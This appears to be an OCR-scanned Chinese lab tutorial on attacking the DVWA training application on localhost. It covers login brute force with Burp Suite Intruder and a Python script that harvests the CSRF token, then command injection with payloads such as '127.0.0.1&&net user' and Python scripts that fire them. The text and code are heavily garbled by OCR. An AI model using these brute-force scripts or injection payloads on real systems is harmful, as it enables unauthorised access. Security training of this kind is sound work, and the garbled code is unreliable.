® S FHZFE ML RN R 2 NE K

® fiiH] requests KIEIEKE] dvwa, IRIEIEKRELREG T Welcome to password
protected area -1+ £ H| W12 15 AR L)

19
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c)

d)

HIGH £

BEE DVWA 2425 524 High
JA 8] burpsuite HH JE AL HE

Burp Suite Professional v2.0.1 1beta - Temporary Project - licensed to surfenyz — i ¥ 1

Burp Project htruder Repeater Window Help

Dashboard

truder | Repeater | Sequencer | Decoder | Comparer | Extender umpanmanuWumnm}

ntercept | HTTP higfry | WebSockets histor

WE firefox W ACEE N 127.0.0.1:8080

LdmEproy EIE  Ng A
1 = 3 Q =
@ prowy 1hachet P SthoptionsPEIi-&
£} Burp Prowy uses isteners fo regéive frequing HITP requesys rmr%w% wser. You will need to configure your browser to use one of the fisteners as its proxy server.
S hRuUNNINg &
Add | Runr\n‘ | interface | nvisbie | Rearect | certificate
@  [1z7.00.48080 Fer-host
Edit
Remove >
Each installation of Burp generates its own CA certificate that Proxy listeners can use when negotiating SSL connections. You can import or export this cerificate for use in other fools or another instalation of Burp.
[ Import / export CA certificate. J [ Regenerate CA certificate J
@ Intercept Client Requests
{G% Usethese settings to control which requests ar stalled for viewing and eding in the Interoept tab,
(@ Intercept requests based on the folowing rules:
Add J Enabled | Operator | Match type Relationship Condition
@ Fie extension Does not match (“gifS{"[pgS* pgS/*CSSSIfSS60S)
Edi o or Request Contains parameters
o or HTTP method Does not match (getipost)
Remove »
O  And URL Is in target scope
up
oown |
(O Automatically fix missing or superfiuous new ines at end of request L
1 Automsticall uodate Content-Lenoth header when the reouest s edied =

© Firefox  about:preferences

EEHAERMNAERESR
TERHIERERY)

SRR TR W)
fiﬁﬂﬁéﬁf&&iﬁ‘&/

o EatEREM

HTTP fE2(X) localhost
FFETNIER LIRSS RE(S

SSL
ETP G2
SOCKS =l

SOCKS v4 @ SOCKS v5
TENGEE(N)

M burpsuite $£3

20
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! Burp Suite Professional v2.0.11beta - Temporary Project - licensed to surfenqz | e = . £ T i)

Burp Project htruder Repeater Window Help

Dashboard Prox m Sequencer | Decoder | Comparer | Extender Pm}ennmmnsTuMnmmns}
Intercept | HTTP history | WebSockets history | Opbors|

LR FroxyiZelii—=

Forvird Drop Interceptgs off Action

Raw Fprams  Headers Hex

>

3. maifilnterceptifiAlntercept is of fA7x
2.2 Interceptif i<

=
v

@ _EEIE

e) ¥ H firefox I i &% & o B i i =K

= Vulnerability: Brute Force s - X (E=8lal
<« X @ @ A localhost/DVWA-1.9/vulnerabilities/brute/ BF e e Y InNDw ® 5@ =
Eyaerus @ sxre Dsmmn [ wm [ akEBE

\a)

i Vulnerability: Brute Force

Instructions Login
Setup / Reset DB
Usemame:

[ BrueForce | e - -
— P LESEeaRES

File Inclusion Login 2ﬁ$ﬁﬁﬁ$§iﬂ
[EETET—— More Information

Insecure CAPTCHA

SQL Injection N
XSS (Reflected) |
xss(stored) |

DVWA Security
PHP Info u
About

Logout

logalhost/DVWA-1.9/sccurity.php -

f) & X burpsuite HL [F]H AL & 72 501E, T user_token HBNHEHUFIIA 7L
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Burp Suite Professienal v2.0.11beta - Temporary Project - licensed to surfentyz

T — ~—
-

|=|@]| = |

Burp Project intruder Repeater Window Help

[cnnnemuns HTTP | sSL | sSessions | Misc

[ Dasnooara | Target | proxy | ntruser | Repsater | sequencer | ecoer | comparer | extender | proetoptions | user optins |

(@) Session Hany

{§} You can define session handing rules to make Burp perforr
or checking session validiy. Before each request is issued,

2. #EfFSessionshI T

ules

Session handling rule edi

AN

Details | Scope

1. #4ZProject optionsiIFF

logging in to the appiication,

(@ Rule D

Enabled | Description
J— [5]] Use cookies from Burp's.
Edit
Remove ]
Dupleate | | 3. S RIS, SO0
up

Down

user token fetch

AN
S~ L emmes

(?) Rule Actions

The actions beloy,

e performed in sequence when this rule is appiied to a request.

To monior or troubleshoot the behavior of your session har

Open sessions tracer

| ‘ Enabled | Description

Use cookies from the session handing cookie jar
Seta specific cookie o parameter value
Check session is vaid

(@ Cookie Jar

{§} Burp maintains & cookie jar that stores all of ihe cookies s
automatically updates the cookie jar based on traffic from

Monitor the following tools' traffic to update the cookie jar-

@ Proxy
O intruger

[ Scanner [ Repeater

(O Sequencer (] Extender

Open cookie jar

Frompt for in-browser session recovery

‘EXRun a

Run & post-request macro
Invoke a Burp extension

macro (%)

il to control how Burp

Burp Suite Professional v2.0.11beta - Terf

n handling rule edits

[~

Session handling action editor - user token fetch

Macro Editor

@ This action runs a

macro,

===

(@) MacroE:

Select macro: or

wiorking correctly.

Use the configuration below to define the tems that are included in the macro, and the order they will be issued. You can configure how parameters and cookies are handled for each item. You can also test the m

735 E 7
%ﬂ#ﬁnnfrm itis

Wacro description: [ user token feteh

#

J

J

(@ vpdate current

@ update all |

(O After running t |

Macro tems:
# | Host Method URL Status. Cookies received Derived parameters l Configure item
I
§ FRihADDRE TR
Note that the requef | Move up
necessary to issug|
Move down
@ Update current] |
@ Update all | e J SIS l Remove fem
E Request | Response
© Update onty |
— Raw  Hex
(] Tolerate UR)|

Record macro.

Re-analyze macro

0 matches

Test macro

ok | [ cancel |

Burp Suite Professional v2.0.11beta - Ter

Session handling acti

@ This action runs a

macro.

ion editor - user token

Macro Editor

@ MacroE:

Use the configur
working correctiy

[ 51
i
il
Il

Seiect macro: o

¥

Edit
Macro description
Macro items:
* Host
Note that the reque|
necessary fo issug
(@ update current
Update all
@ Update al = |
|
© Update onl
e | Raw Hexj
(] Tolerate Ul

(@ Update current
@ Update al

O Update o

O After running t
[

@

e T S — Y [ L= =

lacro Recorder
Select the tems from the: proxy history that you wish to include in the macro, and cick "OK”. Note that to record a macro now USing your browser you nterceptis off
wil need to ensure that proxy interception is turned of.
‘ Fiter: Hiding CSS, image and general binary content ‘@ TS

#  |Host Method | URL. A|Params |Edted | Status | Length | MMEtype | Extension

184 hiipuiocahost GET JDVWAA SidvwalsidvwaPage s 304 169 script ®

1 hitp:ifocalhost GET JDVWAA Sivulnerabitties/brute/index.p. 200 5288 HTML php

http:#facalnost GET JDVWA1 S unerabiitiesibrute/ndex.p. v 200 5350 HTML php
/ Configurs tem
- [N = 4
9 YRR TH B IR RERTER (A RSHE) —
Wove down
- > . Remove ftem
Request | Response
Raw | Params | Headers
GET DVWA-1 Shvunerabities bruteindex. php HTTPA 1 X
Host: locahost
User-Agent: Mozilals 0 (Windows: NT 6.1; Win64; x64; rv65.0) Gecko/20100101 Frefox/s5.0
Accept: texthiml application/xiimbxmlappiication mlq=0.9 fmage webp, ' =0 &
Accept-Language: zh-CH,zhig=0.8 zh-TWiq=0.7 zh-Hi(g=0.5 en-US q=0.3 e q=0.2
Accept-Encoding. gzip, deflate
s - | T
Connection close
Cookie: i PHPSESSID: 12t
Uparade-insecure-Requests: 1 Jiccschmmac
Cache.Cortrol max-an L1
® [<][+][=]) [rweasearchiom 0 matenes [ Test macro
K Cancel E—
oK cancel
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Define Custom

==

@) Define Custom Parameter

Configure the details of the custom parameter location. You need to specify the name that is used for this parameter in subsequent macro
requests, and the location within this response from which the parameter's value sfould be derived

e = L3ESZHER

[ Extracted value is URL-encoded

Define the location of the parameter value. Selecting the tem in the response panel will create a suitable configuration automatically. You can
also modify the configuration manualy to ensure it works effectively.

(@ Define start and end (0 Extract from regex group

@ Start after expression value=(*7} H\rn\x08W09</form>

O Start at offset: 3826 d Case sensitive

® End at delimter. *IArnK09\09</form=

© End at fixed length

() Exclude HTTP headers @ Update config based on selection below | Refeten response |

‘User Joken vall
<fform=

<feiv>

<hz>More Information< /2>
<ul>

hrat=") 004y

o vk

ohn/Testing for Frite For

> | | Type o search term

®

o =
[ ok | [ cancel |

/‘ b, £

i

I Burp Suite Professional v2.0.11bets - Tel
Burp Project Intruder Repeater Window Help

[ . =]
Bach tem. Vou can also test the macro to confirm it is .
I lappiication,
larameters. )
[ woew ]
1A Capfigurgter
7] | Removeom |
R
it
g 125FEADDIEH
ifere sRa /e 0o ([ e
— lLJ Ccancel
o L] (oanaa |
T. [t Cancel J—

Dashboard

HTTP | SSL | Sessions | M

(@) Tools Scope

Select the tools that this rule wil be applied to.

Connections

@ ses

£G% You can define session handing rues o m
or checking session validity. Before each

ot

16.J565% Scopeift EHINIRZFE

n Handling Rules
(0 Target [ Scanner

@ Intruder a

O Proxy “M

() Repeater

Sequencer (O Extender

N

session cookies, logging i to the application,

] | Enavea

Edit =
U

| Description

Use mnxsl

(@) URL Scope - 17 F Intruder

P Use the configuration below to control which URLs this rule applies to.

Duplicate

@ Include all URL
© Use suite scope [defined in Target tab]

18.#%fZFInclude all URLs
-

Dowr

© Use custom scope

(?) Parameter Scope

‘To monitor or troubleshoot the behavior of o |

Open sessions tracer

*You can restrict the rule to requests containing specific parameters if required.

(] Restrict to requests containing these parameters:

Edit

@ Cookie Jar

£G% Burp maintains a cooke jar that stores al of |
automatically updates the cookie jar based |

Monitor the following tools' traffic to updatel|

O scanner (] Repeatd)|
[ Sequencer (] Extendd|

@ Proxy
O ntruder

&ttings below to control how Burp.

19.8HO0K

Open cookie jar

).
L3 Cancel

g) ¥ burpsuite BE4T F& J1H i
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h)

)

i it Pofesonl v T - 1o e e e 2 - e
Burp Project Intruder Repeater Window Help

[Dasnnnam Target intruder | Repester | Sequencer | Decoder | Comparer | Extender Prnpmnmmnsxusernmmnsl

itercept || HEFPHistory | webSociMNgstory | Optons

[ Far: Hisngfs. mage ans gonerai by comtont 1 J5EAE Proxy Sl [©)
/ | Metnod | uRL | Params | Edted | Staws | Length | MMEtype | Extension | Tite Comment L Cookies. Time | Listener port
D
/Zﬁiiﬂttp’m’ﬁ%l firuieindes . 200 5208 HTML php Vuinerabity: Brute Forc. 127.0.0.1 1140:4813 . 8080
GET IDVWA-T il taTs/dvwaPage js 304 169 seript i 127.0.0.1 11:40:4513 . 8080
/DVWA-1 Sivunerabities/brutengex.p. v 200 5350 HTML Bhp Vuinerabilty: Brute Far 127001 11405713 . 8080
1,91 faa
Add to scope
imsgramaee e poa— - Sean
3EHIESSURER , BAMG IR
y
<o 0TI
4.5PESend to IeSRtE oree
Send to Sequencer
Send to Comparer (request)
o Send to Comparer (response) > |
— Show response in browser
Reguest | Response Request in browser >
Engagement toois >
Raw | Params | Headers | Hex
Show new history window
GET DVWA- ogin=Loginguser t Ttaa HTTPA A i N
Host. localhost r
User-Agent: Mozilals.0 (Windows NT 6.1; WInG4; x64; rv:65 D) Gecko/20100101 Firefox /65 0 Highiight >
Accept: texthtml application/xhtmi+xml applicationfn 9jmagehwebp *q=0.8 Delete item
Accept-Language: 2h-CN,zh; 4=0.8,zh-TWeg=0.7 zh-HKGq=0.5 en-US; g=0.3 emg=0.2 Clear history
Accept-Encading: gzip, deflate Copy URL
Raferer A php Copy s curl command
Connection: close comy e
Cookie:  PHRSESSID: i 2t opy il
Upgrade-Insecure-Requests: 1 B
Proxy history documentation
L
L]
@ (=] 2] 2] [Twesssarchtem 0 matches

o B B 7 AR o B

B ke Professonal Ve s - 1o e e |

Burp Project intruder Repeater Window Help

[Dasnnnuru Target | Proxy | Intruder | Repeater | Sequencer | Decoder | Comparer | Extender Pmpmnmms[usernmmns}

B 0l

1T sdIntruderZtli =

3. ¥EiEPositions I+ , 1R BINEEERA (S start tack
Configure the postions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.
2 AT

t
“Atiackybe: | Clsterbomb o . ']

(GET Dvwva-1 '

‘gﬁ%mﬁ%{mﬂﬁmﬁkﬂmbmﬁm

Clear §
ccent: textintml, appication/xhtmi+xml application/xmta=0.9 imagdweplr 4=0 &
(Accept-Language: zh-CN,zh 4=0.8,zh- V=0 7 zh-HI g=0.5 en-U

enig=0.2
[ Accept-Encoding: gzip, deflate

" e . Auto§
@) SEH
o e A Clear SHIADD SIEIHEINE{IE —

Cookie: \ PHPSESSID: 2t
Ungrade-Insecure-Requests: 1

StestEalogin=L oginBuser_tolen-c765a6246675701 7 efec0d7e3477 faa HTTRA

%

01 Firefox/s5.0

L
v

®@ [ <] =]) 2] wessearchterm 0 matches Clear

2 payload positions Length: 626

e P 44 A 5 gt

|| user.txt 2019/2/12 12:07 ey = 1KB
|| password.txt 2019/2/12 12:08  scASoE 1KB

-

| password.txt - iD=4

B REE BOQ FFN =EHH

root
r00t

[ e P — password
&) user passwird

MiEF) HHE) EI0) =F|user
oot 123456
admin 12345678
i LEgn”
administrator
user 12:1a4
que Li#

24



DVWA J i & 23 4

i)

k)

% & playloads

i Burp Suite Profe: ‘emporary Proj to su o

Burp Project iniruder Repeater Window Help
[Dasnnnaru Target | Proxy | intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options Tusar nmmnsl

1% |8 x [z

(@ Payload Sets v u
|52 ﬁJ:
“You can define one or mere payload sets. The. &mﬁéﬁ!@@g&ém%ﬁw type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be customized in different ways.

L;
‘Start attack

Payload set. [ 1 | oad count: 2 (approx)

Payload type: | Runtime fiie |= {Mnum}%@l&iﬁ1@l (username )

(@ Payload Options [Runtime filc] 3. ¥Epayload typeaRuntime file(SZ{4)

This payload type lets you configure a file from which to read payload strings at runtime.

Select fie Holuser.tdt

(?) Payload Proces 4. iii%ﬁﬁ)ﬂ%iﬂﬂiﬁ

You can define rules to perform various processing tasks on each payload before it is used.

ng

Add | |Enabled | Rule

Edit
Remove
up

Down

(@ Payload Encoding

This setting can be used to URL-encode selected characters within the final payload, for safe transmission within HTTP requests.

| Burp Sui

Burp Project htruder Repeater Window Help

[nasnnnard Target | Proxy | intruder | Repeater | Sequencer | Decoder | Comparer | Extender PmpljnplinnsTUsernplnns}
1 e [z ] .

Target | Postions | Payloads | Options

I
(@) Payload Sets Start attack L\

“You can define one or more payload sets. The number of payload sefs depends on the attack type defined in the Fositions tab. Various payload types are available for each payload set, and each payload type can be customized in different ways.

oadset (2| oo sgomme e ( password )

Fayload type: | Runtime file | Request count: & (approx)

6. iZEpayload typeiRuntime file(SZ5)

(@) Payload Options [Rur

‘This payload type lets you configure a file from which o read payload strings at runtime.

me file]

Hipassword txt

(@ Payload Processing ‘iz .
7 RS A
“You can define rules to perform various processing tasks on each payload before it is used.

Add | |Enabled | Rue

Edit
Up

F

temove. >

e |

Down

(?) Payload Encoding

This sefting can be used to URL-encode selected characters within the final payload, for safe transmission within HTTP requests.

BB AE RULHCAE B LA 2 75 B bl 2h
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1)

m)

Burp Project iniruder Repeater Window Help

[Dasnnnaru Target | Proxy | intruder | Repeater | Sequencer | Decoder | Comparer | Extender Prnﬁmnmmnsxusarnmmsl

1% |8 x [z

Target | Postions | Payloads | Options.

(@ Make unmodified baseline requ:

(0 Use deniak-of-service mode (no resulls)

[ Store full payloads LpEZO PtiOHS&IﬁLr\

(@) Grep - Match
() These settings can be used to flag resulttems containing specified expressions.

[# Flag resul items with responses matching these expressions:

Paste Welcome o the password protected area
Load

Remove >
 Cear | ‘\

[ Aw | We\cnm;me password protected area

Match type: @ SimpY
© Regex

(0 Case sensitive match

oo .
@ Exclude HTTP headers 2R EILERE

(@) Grep -Extract
O These settings can be used to extract useful information from responses into the attack results table.

(0 Extract the following tems from responses:

THR By

! Burp Suite Professional v2.0.11beta - Temporary Project - licensed to surferyz
Burp Project intruder Repeater Window Help

T

e 0

[Dasnnnam Target | Proxy | intruder | Repeater | Sequencer | Decoder | Comparer | Extender Prnﬁmnmmnsxusarnmmsw

1% |6 % [n

Target | Postions | Payloads | Options.

(@) Request Headers ——
O These settings control whether Intruder updates the configured request headers during attacks.
@ Update Content-Length header
@ Set Connection: close
(@) Request Engine 2.5
Rthstart
() These settings control the engine used for making HTTP reguests when performing attacks. -
attackiZHl , 7T ¢/
S = A
e LigELIRN1 1Bt
Number of retries on network failure: 3
Pause before retry (miliseconds): 2000
Throtte (miliseconds): @ Fixed o
© Variable: start |0 step (30000
Start time: @ Immediately
@ |10 minutes.
O Paused
(?) Attack Results
o These settings control what information is captured in attack results.
@ Store requests. L
@ Store responses. v

Jriires

26
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n)

I Burp Suite Professional v2.0.11beta - Temporary Project s hecneed 10 SUrrenys —— T mmm—— |= bl
Burp Project ntruder Repeater Windof @y Intruder attack 12 E‘E@
Dashboard Attack Save Columns. s gt N
1= [6 < [ - Resulis | Target | Posiions | Payiads | Options /
Target | Positions | Payioads ‘ Fitter: Showing all ftems. / ‘@
- N
@ Request Headers Request 4| Fayboadt Payload? | statugh® | Error [ Timeout |Lengih | Welco.. | Comment — L\
0
() These settings control whether ntf || ¢ user root 200 o O == a
5 root o0t 200 o (S a
@ update Content-Length header || 6 admin o0t 200 ] ] 5350 a
@ Set Connection: close 7 administrator w0t 200 =] Qs a
8 user oot 200 a O s3s0 a
= I " " 00 o o e = 1
(® Request Engine 1 adrin pesauord m 0 [0 Jun @
T SEmARTATT PesTwerT g =) g =)
() These setiings control the engine uf || 12 ser password 200 o O s a o
3 root password 200 a O s3s0 a L
Muherjotizeas 14 admin password 200 o] O s a v
<K A
Number of retries on network faiu | —
Request | Response
Pause before refry
Raw | Params | Headers | Hex
Throtte (miliseconds): @ Fixed | | OET DVWA-T b ogin-LognBuser_token-Badsagaz4chl1 11 SBedc] SdBG4deABSf HTTP/ 1 L\
Host: lacalhost
© Variaif | User-Agent Mozilal5.0 (Andows NT 6.1; WG4, x64; rv;65.0) Geckor20100101 Firefox/é5.0
Accept: textitm. applcation/xrtmi+xml applicaion Nl g=0. 3, mage/webp *4=0.8
_ Accept-Language: 2h-CN,zhig=0 8,zh-TW.g=0.7,2h-HK;q=0.5,en-US;q=0 3 en;q=0.2
Stactne: © Immedifl ;. ept.Encading: gzip, deflate
O n [10] |Referer WNA-T i php
Connection: close
© Paused | Cookie ; PHPSESSD: e
Upgrade-Insecure-Requests: 1
(@ Attack Results F
) These settings control whatinforml) D | < | [ = || > | | Tvee asearcniem 0 matcnes.
@ Store requests Finished | | I
@ store responses v

ARt

Iphp

if{

'
/G

gemer

dsset{ $GET[ ‘Login’ 1 ) ) [
/¢ Check Anti-CSEF token

checkToben( 3 REQEST “user tolew ), $ ESSIORL “sessian toban’ ), inden i ) mmm——

// Sanitise usemame irput
fuser 3 “username’ ]
fuser stripslashes( fuser
Suser = nysql_real_escape_string( fuser )i

/7 Sanitise password irput

$pass = §1 password” ]
stripslashes( fpass );
nysql_real_escape_string( fpass );
nd5( fpass

2XJHFE , B T

/¢ Check database
$query = “SELECT » FROM ‘users’ WHERE wser = " Juser’
Jresult = mysql query( Fquery ) or diel “<pred’ mysal_erreri)

ND paseword = ' pass’;”:
Tefpres

if{ fresult &6 nysqlmm rows{ $result )} = 1 ) |
S/ Get wsers details
$avatar = mysql_result( $result, 0, “avatar” )
/4 Login mccessful
echo “¢pXWelcons to the password protected area [fuser}<pd*:
echo “dimg  sro=\" {favatar}y” /37
/4 Login failed

3F iz, b 0-3%h
sleep( randl 0 3 ) )‘/ SRR BEYLARO-31

echo "<pre>br />Usermame and/or password incorrect. <pred”:

else {

i

mysal_close ()

enerate Amti-CSEF  to
e, A= ARl token

LR
FERFRE SR RIS HL token HYIEMAYVE, 78— EREE BTN T B IRARIOHESE, RIS
Xt I A MVE RS AT SCAEBE, B sQUiE N, (RS R R RIMAITE I, ARIR 0-3 FPik
MIGER, fE— R B B AR AR B I TR E
H % Python JHIAS 5 /15
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o=

reguests
pyquery FyQuery

BASE_DIR - os.path.dirname(os.path.abspath{__file_ })

params = {}
init:
params = {
‘user_token"' : user_token,
'username’ @ UsSErmame,
d" : password,
‘Login’ : "Login’
].
response requests.get(url, params, h s=headers)
response.ok:
response.text.find( 'Wwelcome to the password protected area")
print{'+", username, password}

ery{response.text)
q( ' input[mame=user_token]"}.val(})

USername { ASE_DIR, "user.t
password ¥ ilef{os.path. n{BASE_DIR, °
user_token srute force{addr, user_token, username

o assword.strip(), headers})

user_token orcef h headers, init=Tr

__m@ame__ __main
server = { "'localho
headers = {

'Cookie" : 'secur
1
g
main{server, headers}

i

® MR copy Bl B G I cookie 15 B

® ffiffl python3 Z1T 1A

LR

® I RIENRGME UM html [FIEFfEMT user_token, T J5 4k B il 1 SR I 4146 1k
user_token %, F MM N html 7 user_token 1E N VIH R ZEH B4k KR

® fiiH requests KiZiIERF| dvwa, HRIEIERELREGHS Welcome to password
protected area -1+ £ FI W12 15 AR L)
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4) BREEW

a)
b)
c)

d)
e)

f)
g)

2.

1)

i ENSEARTE 5 2B KN AR R E AMPAT B TR E a2, JATHRIW S RA S

ot T4 OB A B B R A A poST 52, AN B i i posT 5 =i

IINBEAL token THFY csrf X

BEXE S DI RE TR INEERAERS, SRR A — KIS, IS IERS A — IR, e D RELE AR 55

I REAT

BEXT R RBOEATIR S, AT SRR 1P sH A A ST 8IS, SRR IR
H 5 bz Wil 3 RBIGE 1-3 /NS

X R R GERC B S R SR VR 1P Vi

A P R A SR AR A S A 6 AIE 77 RS DU R T AAIE, o0 A S KE RIS K R B
B A U BOB AT N e AR, B T ATINER hash SRS INE 5 AR

WA

VY v

web R 55 A [E] A FR N3RS

2) MRATHE

firefox P %

1A B

3) MRATT¥5

A. LOW £ 5|

a)
b)

B E DVWA %4258 LOW
15 firefox D) U 25 A6 B it i >R
A3 BRSSP HREAC

127.0.0.1&&id
127.0.0.1&&net user
testcmdinjection| |id
testcmdinjection| | net user
127.0.0.1&id

127.0.0.1|net user
testcmdinjection&id
testcmdinjection | net user
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= ]

<« ¢ @
Eyaersus @ sxre Dsmmn [ s

localhost/|

Home
Instructions
Setup / Reset DB

Brute Force

| Command injoction __|
CSRF

File Inclusion

File Upload

Insecure CAPTCHA

$QL Injection (Blind)

XSS (Reflected)

XSS (Stored)

DVWA Security
PHP Info
About

Logout

& vul

rability: Command Injc X

VWA-1.9/vulnerabilities/exec/#

GE e e Ty

ow)

Vulnerability: Command Injection

Ping a device

Pt
©96® Fing 127.0.0.1 ¥99& 32 & 00909

€069 (27.0.0.1 ®L32=9 & :9L 0 &Ins TIL=128
€069 (27.0.0.1 ®L32=9 & :9L 0 &Ins TIL=128
€069 (27.0.0.1 ®L32=9 & :9L 0 &Ins TIL=128
€069 (27.0.0.1 ®L32=9 & :9L 9 &Ins TTL=128

127.0.0.1 ®€ Fing E6000W:
Soome: 9V 060 = 40®0u060 = 4998 e( = [ (I €00 @
ri

PO = OmsOOsOO “oms

S EARSER

Enter an IP address: 127.0.0.1 && id

2.mamSub

More Information

nohw ® 5@

Qaameses

mitZHIEARE K

m

o T S

<« ¢ @
Eyaersues @ sxre D=mmn [ s

localhost/DV

Home
Instructions
Setup / Reset DB

| Command Injoctin _|
CSRF

File Inclusion

File Upload

Insecure CAPTCHA

$QL Injection (Blind)

XSS (Reflected)

XSS (Stored)

DVWA Security
PHP Info
About

Logout

VA-1.9/vulnerabilities/exec/#

GE e e Ty

ow)

Vulnerability: Command Injection

Ping a device

o liESETHE

Enter an IP address: 127.0.0.1 && net user

€96 Fing 127.0.0.1 9660 i 9 8eeee:

€969 (27.0.0.1 ¥L32=9 19k 9 9<ins TIL=128
€009 (27, 0.1 §L3276 6 19k 9 9<ins TIL=128
€009 (27, §L32 ® ¢ 19k 10 9Uns TTL=128
€009 (27, D D 1 §L32 ® ¢ 9k 10 9Uns TTL=128

127.0.0.1 ®€ Fing B €9 OU:
2605e: 6\060 = 4000;.7066 = 489687 = [ (¥ €0 @
ri

V69 = MOPOE = Umsééséé = tas

000i00 9

2 I HIRATE

Adninistrator

©009:00030

st \

3EANER

iz

More Information

nohw ® 5@

O eaess

m

<« ¢ @
Eyaersues @ sxre D=mmn [ s

localhost/|

Home
Instructions
Setup / Reset DB

| Command Injection _|
CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

XSS (Reflected)

XSS (Stored)

DVWA Security
PHP Info
About

Logout

VA-1.9/vulnerabilities/exec/# e

[ —.

ow)

Vulnerability: Command Injection

Ping a device

J/ LBNEEE

Enter an IP address: testcmdinjection || id

Ping 9990 VXP P99 % tectondiniectim® 99909600 099C00006N
[uic=lnkel 2

3EAER

“ 2 S Submitiy

More Information

neohw ® 5

DesiEss

1, '35k

30
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o) irgR
TEALE RN 2B T 28 Ja T AR B [P] S f 72 5 A0 & PA T & &5 SRR AR 1A T R b 2 75
FAEFENGAIE, BlanfEmAmS P as d mEdE, Bampyas R ahas vid A
gid

d) RS HT

if( dsset( §_POST[ ~Submit™ ] oo

$target = P REQUEST[ ’ip” 1;

if( stristr{ phpomame( *s° ), “Windows NT )3 ) |
fomd = shell execi “ping . frarget

}5153 {
$omd = shell exec( “ping -« 4 7 . ftarget I

}
echo "<pre>{fcmdl </prex":
i

VL :
PAT IR R NS PES B 755 R T A S 3T, TR I, TR TR
AI AT A2 CELRR I3 shell)

e) H%w Python AT A ATEN
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re

= |1

pattern
pld

vulnerablliti

' format(*addr)

pauluad[ pa ttern']
payload[ "payloads']:

params = {

3

J

response
response.ok r
print("'+ name:

def main(
payloa
1

payload

'name *
‘pattern’
'payloads"

‘name *
‘pattern’
'payloads

‘ip" : pld,
'Submit" :

'Submit',
requesis.p 1, params, | headers}
h{pattern, response.text, re.I):

', mame, ', payload:', pld)

Ii'jl_-|
portuid="d’,

"tes tnmd1n1 'flunllld

‘testomdinjection|id®, "testomdinjection&id®,

"netuser’,
r'‘administrator”®,

"testocmding

'testcmdini

ion| |net user®,
nnlnet user"’,

&net user’
8.1&net user'

"testomdinjection&net user',

11“ 12?.5.5.1|net user',

payloads:

injection{addr, headers, payload)

__name__
SEFVEr
headers

'Cookie’

Y
J

__main__
{"localhost®, 28, )
1

: "secur owW; PHPSESSID-uSlgorbkedSjddesehrf2t3953°,

main{server, headers}

A

® MNYELs copy &

® f§iff] python3 iz
i -

® fififf] requests Ki%iE

LT

SRR AT

B it I JE # cookie 15 &
BAT A

K E| dvwa, TEFRCHHMEH B AEANMLINSEL,
WS AR
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B. MEDIUM & 5]

a)
b)
o S DL A H
127.0.0.1&;&id
127.0.0.1&;&net user
testcmdinjection| |id

127.0.0.1&id
127.0.0.1|net user
testcmdinjection&id

-

[®] Vulnerability: Command Inje X -

BWH DVWA %4275 8 Medium
18 FH firefox ) % 2% & 8 B Fh 1 >k

testcmdinjection| |net user

testcmdinjection | net user

o

<« ¢ @
Evaesias @ ks Sspma s

Home
Instructions
Setup / Reset DB

Brute Force

| Command njection _|
CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection (Blind)

XSS (Reflected)

XSS (Stored)

DVWA Security
PHP Info
About

Logout

@ localhost/DVWA-1.9/vulnerabilities/exec/#

BE o

ow)

Vulnerability: Command Injection

Ping a device

LIESIRA 4R

\

2 RRRIE

Enter an IP address: 127.0.0.1&:&net user

999 Ping 127.0.0.
€999 127.0.
€999 127.0.
€999 127.0.
€999 127.0.

1 9900 32 ¢ joovoe;
L32=9 € 9L &1 [TL=128
L32=9 € 9L &I [TL=128
L32=9 € 9L &I [TL=128

1
1
L oL
.1 ®L32=9 & 9L “® s [TL=128

127.0.0.1 € Ping §00€9W:
00N 9V 000 = 4000;.7000 = 199880 = (1 (% #0N®
ri

299 = UmsOOOES E UmsOOsOO = ons

00000

Administrator Guest

000000050

3EEENES

More Information

none®sae
Osmigss

i

#

Vulnerability: Command Injc X

| |

=

<« ¢ @

Braresas € wrre Ozsar B ases

Home.
Instructions
Setup / Reset DB

Brute Force
CSRF

File Inclusion
File Upload

Insecure CAPTCHA |

@ localhost/DVWA-1.9/v

ulnerabilities/exec/# #E v oo Ty

o)

Vulnerability: Command Injection

o LENESZEAN
Enter an IP address: testemdinjectionijnet user 2 mEiRArEH

Ping @900 OXO VOV O PO testondiniectionP® VOV OV VPO PYOCOOOO OO

Ping a device

L2 22022

Administrator

Guest
000000050 ~

3EEENES

SQL Injection

SQL Injection (Blind)
XS5 (Reflected)
XSS (Stored)

DVVVA Security
PHP Info
About

Logout

More Information

33
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S TEE S
FEAL B N i 2 B 2 5 5 AT AR [ il 45 SR 0 1560 B AT i 2 G SR RRAE EAT T 15
FEAEFENGT A IR, FInfER NG 2 S net user MEHE, AEMMLRETOE
administrator

d) ARG AT

<Tphp
if( dsset( $POST[ “submit” 1 ) ) |
ftarget = $_REQUEST[ "ip' 1:

$substitutions = array(

= 7
IN

O 4] .
Starget = strreplace( areaykeys( Smbstitutions ), Smbstitutions, Starget 1. @ NSRRI & 8UT;

if( stristr( phpomame( ‘s’ 1, CVWindows WU} ) {
$omd = shell ewec ‘ping . frarget )

}alse {
$omd = shell exec{ ‘ping ¢ 4 ' . Gtarget ).

b
echo  "<prer{fond} </prer”:
i

7>

Vi A
ARSI €73 | FR A
e) H%i Python AT ASTEN

34



DVWA J i & 23 4

re
concurrent. futures . thread ThreadPoolEx
itertools

requests

WOREERS

vulnerabilities;
Paj
pattern = payload['pattern”®]
pld oad[ *payloads"]:
params {
“ip® - pld,
“Submit’ : ‘Submdit®,

response = requests._post{url, params, heoders-headers)
response . ok re_search{pattern, response text, e I):
name=, pld

“testemding
“testocmdin

dinject H user",

mdimjectioniénet user

¥
8.8 _188net user’
.8.8_18net user”,

1
datas itertonls
executor Thre
success, name, payload
SUCCESS:
primt{ '+ name:", name,

‘security=medium; PHPSESSID=u91porbkbdijddebehrf

[server, headers)

® MIIYEAEH copy Bt 5 1 cookie 15 &

® i python3 IZTJHIA

Ui I«

® i FHZFE ML RN R 2 N K

® [ requests KikiEKE| dvwa, FEIRZCHIITH BEAEANGARISE, EidFEANGw
A PAT 45 FURE RS AT R0 2 75 B iR
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C. HIGH 25

W HE DVWA %4254 High
f8H firefox ) b o & 6 Bl oK
Iy S DU R R

® 127.0.0.1|id

® testcmdinjection|net user

B Vulnerability: Command Injc X - - =

<« e @ Z0 e e Ty
Sraemas € wrre Ozpar Besms

o Vulnerability: Command Injection

a)
b)

|

InNDh ® @ =
OnaEes

